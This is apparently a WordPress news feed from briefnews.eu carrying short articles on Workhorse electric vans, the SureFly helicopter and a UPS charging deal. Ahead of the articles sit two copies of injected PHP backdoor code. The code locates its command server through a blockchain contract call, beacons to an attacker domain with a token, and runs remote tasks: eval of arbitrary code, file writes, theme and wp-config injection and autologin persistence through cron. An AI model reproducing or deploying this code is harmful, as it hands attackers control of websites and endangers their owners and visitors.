// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Workhorse – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 18 Oct 2018 03:41:11 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Workhorse – Brief News https://briefnews.eu 32 32 New 100-mile electric van matches diesel vans on price, Workhorse says https://briefnews.eu/new-100-mile-electric-van-matches-diesel-vans-on-price-workhorse-says/ https://briefnews.eu/new-100-mile-electric-van-matches-diesel-vans-on-price-workhorse-says/#respond Thu, 18 Oct 2018 03:41:11 +0000 http://briefnews.eu/new-100-mile-electric-van-matches-diesel-vans-on-price-workhorse-says/
Electric truck by Workhorse

Enlarge / Workhorse’s new truck starts initial production this week. (credit: Workhorse)

Electric-vehicle maker Workhorse announced today that it has begun initial production of a 100-mile range electric delivery truck called the NGEN-1000. The truck is meant to replace diesel-powered delivery trucks, but this vehicle weighs less than half of what a comparable internal combustion van usually weighs.

In a press release, Workhorse said that it “believes this weight reduction, coupled with the 100-mile range, will have cost-savings implications that will make the EV alternative to traditional fleet delivery vehicles all the more appealing.”

Workhorse CEO Stephen S. Burns added that the van would have “an off-the-lot cost on par with traditional fuel delivery vehicles, and substantial savings from there.”

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]]> https://briefnews.eu/new-100-mile-electric-van-matches-diesel-vans-on-price-workhorse-says/feed/ 0 Workhorse brings an electric pickup truck, helicopter to Manhattan https://briefnews.eu/workhorse-brings-an-electric-pickup-truck-helicopter-to-manhattan/ https://briefnews.eu/workhorse-brings-an-electric-pickup-truck-helicopter-to-manhattan/#respond Mon, 20 Aug 2018 02:40:03 +0000 http://briefnews.eu/workhorse-brings-an-electric-pickup-truck-helicopter-to-manhattan/

Enlarge / Workhorse’s electric helicopter looks less like a traditional helicopter and more like an oversized drone. (credit: John Timmer)

I wasn’t sure entirely what I expected an electric helicopter to look like, but what I found waiting for me at New York’s Flatiron Plaza wasn’t it. It’s not because it didn’t look like a helicopter; to an extent, it did. It just looked more like a grossly oversized drone with seats.

Workhorse, the company that makes the helicopter, wasn’t giving anyone rides in the hardware, which is still undergoing FAA testing. But company CEO Steve Burns was there to talk about the ‘copter, which is being called the SureFly. And, for good measure, he also showed off an electric pickup truck, which went by the less dramatic monicker W-15.

If pickup trucks and helicopters seem largely unrelated, it’s only because they’re at opposite extremes of the company’s business interests. Workhorse is currently building electric delivery vans and testing one with a drone-based delivery system integrated into the van roof. (During our conversation, Burns mused about the prospect of using a drone to deliver burgers from a nearby Shake Shack to a 25th-floor balcony on one of the buildings that overlooked the plaza.) So both are in keeping with the company’s interests.

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]]> https://briefnews.eu/workhorse-brings-an-electric-pickup-truck-helicopter-to-manhattan/feed/ 0 UPS and Workhorse strike deal on electric vans https://briefnews.eu/ups-and-workhorse-strike-deal-on-electric-vans/ https://briefnews.eu/ups-and-workhorse-strike-deal-on-electric-vans/#respond Thu, 22 Feb 2018 15:15:55 +0000 http://briefnews.eu/ups-and-workhorse-strike-deal-on-electric-vans/

DETROIT — A deal Thursday between UPS and U.S. electric van maker Workhorse Group Inc shows how the delivery industry is making progress to resolve a major obstacle to deployment of battery-powered commercial vehicles: Charging costs.

UPS, like its rivals in the package delivery business, faces pressure from regulators in major cities around the world to clean up its fleet of petroleum-burning vehicles. UPS is partnering with Workhorse to build an all-new electric delivery van. The first 50 vehicles with a driving range of 100 miles (160 km) will be delivered in 2018.

That range is enough to allow UPS to replace around 35,000 diesel or gasoline delivery trucks, company officials said. Until recently, however, UPS would have faced substantial costs for the charging stations and related infrastructure to top up the batteries at the end of the day.

“With the large-scale deployments of vehicles, if you can’t put them somewhere to take advantage of them then it’s irrelevant,” Scott Phillippi, UPS senior director for automotive maintenance and engineering for international operations, told Reuters. “We have to have solutions in place to make that happen.”

Solutions for the charging problem are now in sight, UPS and other industry officials say.

UPS recently rolled out “smart charging” software at a central London facility that allowed the company to nearly triple its local electric fleet to 170 delivery vans.

The smart charging technology determines when and how fast to charge vehicles. If vehicles are not scheduled for a full route the next day, the system can opt not to fully charge them and charge other vehicles more. Without the software, UPS would have had to install enough infrastructure to charge all the vehicles at the same time – the equivalent of powering an office building or hospital – at a cost of millions of dollars for electric grid hardware.

The project at UPS’s London facility was partly funded by Innovate UK, the British government innovation agency.

If successful, UPS will use its London experience as a blueprint around the world as it expands its electric delivery vehicle fleet. UPS’ approach could also serve as a model for smaller companies that cannot afford major infrastructure investments.

“If this solution didn’t exist, it would cost too much money for small companies to upgrade their connection capacity,” said Christos Keramisanos, a consultant at UK Power Networks Services (UKPNS) in charge of the UPS project in London.

Charging costs are critical as delivery fleet operators calculate the costs of switching to electric vehicles.

Hermes, a European delivery service, plans to deploy 1,500 electric Mercedes vans, and is working with Daimler AG’s commercial van unit to design recharging systems that do not require new transformers or large numbers of individual charging stations, said Benjamin Kaehler, head of Mercedes’ electric van business.

Mercedes’ goal is to structure charging costs so an electric van has the same total cost of ownership as a petroleum-fueled van over three years, Kaehler told Reuters. Cheaper charging is key to that goal.

“That’s the breakthrough,” he said.

U.S. truck leasing and rental company Ryder, which has bought electric vans from Chanje, a unit of China’s FDG Electric Vehicles Ltd, is already training its technical and sales staff on smart charging technology.

“Ryder is aware the world is going electric and we are preparing for that future,” said Chris Nordh, Ryder’s director of advanced vehicle technology. “Smart charging is key to creating scale.”

Developing the battery plants and charging infrastructure to fund an electrified global vehicle fleet could require an investment of $ 2.7 trillion by manufacturers and governments – $ 1.7 trillion in battery plants, manufacturing and chargers, and $ 1 trillion on distribution and generation capacity, said Balu Balagopal, a partner in A.T. Kearney’s energy practice. His estimate is based on an assumption that 64 percent of the global vehicle fleet is electrified by 2040.

Utility regulations are an obstacle. The United States lacks national standards for recovering the costs of electric-vehicle charging infrastructure.

For Tesla’s “Semi” big rig — far larger than a delivery van — customers such as PepsiCo Inc, Anheuser-Busch Inbev and UPS plan to build their own charging stations.

California has moved to allow utilities to recoup investments and is reviewing proposals from utilities to spend more than $ 1 billion over five years on electrification infrastructure for cars, buses and trucks.

Other states do not allow utilities to spread electric vehicle infrastructure costs across their broad base of ratepayers.

“The right structures haven’t been put in place to allow us to operate and participate in this market,” said Lang Reynolds, electric transportation manager at Duke Energy Corp of Charlotte, North Carolina, which serves several southeastern U.S. states.

Reporting by Nick Carey

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]]> https://briefnews.eu/ups-and-workhorse-strike-deal-on-electric-vans/feed/ 0 Workhorse makes SureFly its own business https://briefnews.eu/workhorse-makes-surefly-its-own-business/ https://briefnews.eu/workhorse-makes-surefly-its-own-business/#respond Wed, 27 Dec 2017 21:29:26 +0000 http://briefnews.eu/workhorse-makes-surefly-its-own-business/

Workhorse Group, maker of the W-15 plug-in pickup and truck-deployed HorseFly delivery drones, will be flying its SureFly personal flying machine for the first time at CES 2018 in Las Vegas on Jan. 8. Ahead of that debut, the company has also announced it will spin off SureFly as its own business.

SureFly, Inc. will take over Workhorse’s aerial technology, but Workhorse will still retain the assets to its HorseFly delivery drone. The new business is currently a wholly owned subsidiary of Workhorse. Workhorse intends to keep some SureFly stock for itself, while distributing some to current Workhorse shareholders, as well as bringing in new capital from third-party investors. SureFly, Inc. has a pre-money valuation of $ 33 million, Workhorse says.

“This agreement provides Workhorse with additional capital to bolster our balance sheet and, once the spin off is complete, will enable us to focus all of our resources on our core automotive business,” said Workhorse CEO Steve Burns. “SureFly has been one of the most exciting products we’ve ever developed and reflects the best representation of the versatility of our innovative platform technologies.”

The Surefly is a manned, personal helicopter with a flying range of about 70 miles. Future models will use autonomous technology. Read more about the SureFly in our earlier interview with Workhorse CEO Steve Burns.

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]]> https://briefnews.eu/workhorse-makes-surefly-its-own-business/feed/ 0 2018 Subaru Impreza in Depth: A Trusty and Predictable Workhorse https://briefnews.eu/2018-subaru-impreza-in-depth-a-trusty-and-predictable-workhorse/ https://briefnews.eu/2018-subaru-impreza-in-depth-a-trusty-and-predictable-workhorse/#respond Tue, 21 Nov 2017 01:10:56 +0000 http://briefnews.eu/2018-subaru-impreza-in-depth-a-trusty-and-predictable-workhorse/ 2017-Subaru-Impreza-01-Placement

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Standard all-wheel drive, fantastic safety ratings, and a comprehensive suite of infotainment features make the Subaru Impreza a compelling choice in the compact-car marketplace. A handsome but subdued exterior style and a durable, businesslike cabin give the Impreza broad appeal, and its predictable and athletic chassis provides driving enjoyment for those who care. If only its engine—a 152-hp 2.0-liter flat-four—made more power and were mated to a better transmission. Fuel efficiency and acceleration performance both suffer, and no one will enjoy rowing the notchy shifter that comes with the standard five-speed manual transmission. Focusing on the equipment and the all-weather confidence, the Impreza is a car we’re happy to recommend, but it would still need an inspired powertrain to achieve greatness. READ MORE ››

